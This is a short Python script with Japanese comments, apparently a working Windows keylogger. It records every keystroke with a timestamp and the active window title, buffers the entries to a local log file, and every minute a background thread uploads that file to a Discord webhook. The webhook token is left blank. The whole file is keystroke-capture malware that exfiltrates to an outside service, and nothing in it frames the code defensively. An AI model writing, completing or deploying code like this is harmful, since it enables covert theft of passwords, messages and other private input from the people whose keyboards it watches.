from pynput import keyboard
import os
import time
from datetime import datetime
import win32gui
import threading
import requests
# --- 設定 ---
LOG_DIR = "logs"
LOG_FILE = os.path.join(LOG_DIR, "keylog.log") # ← 常にこのファイルに追記!
DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/"
os.makedirs(LOG_DIR, exist_ok=True)
# --- アクティブウィンドウタイトル取得 ---
def get_active_window_title():
try:
window = win32gui.GetForegroundWindow()
return win32gui.GetWindowText(window)
except:
return "UnknownWindow"
# --- ログバッファとロック ---
log_buffer = []
log_lock = threading.Lock()
def flush_log_buffer():
while True:
time.sleep(10) # 10秒ごとにバッファをファイルに書き込む
with log_lock:
if log_buffer:
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write("\n".join(log_buffer) + "\n")
log_buffer.clear()
# --- Discord送信処理(1分ごとに1ファイルだけ) ---
def send_log_to_discord():
while True:
time.sleep(60)
if os.path.exists(LOG_FILE):
try:
with open(LOG_FILE, "rb") as f:
files = {"file": ("keylog.log", f)}
response = requests.post(DISCORD_WEBHOOK_URL, files=files)
if response.status_code in [200, 204]:
print(f"✅ 送信成功: {LOG_FILE}")
else:
print(f"⚠️ Discord送信失敗: {response.status_code}")
except Exception as e:
print(f"❌ Discord送信エラー: {e}")
# --- キー入力取得 ---
def on_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except AttributeError:
key_str = str(key)
window_title = get_active_window_title()
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
log_entry = f"[{timestamp}] [{window_title}] {key_str}"
print(log_entry)
with log_lock:
log_buffer.append(log_entry)
# --- バックグラウンド処理起動 ---
threading.Thread(target=flush_log_buffer, daemon=True).start()
threading.Thread(target=send_log_to_discord, daemon=True).start()
# --- メインリスナー開始 ---
with keyboard.Listener(on_press=on_press) as listener:
listener.join()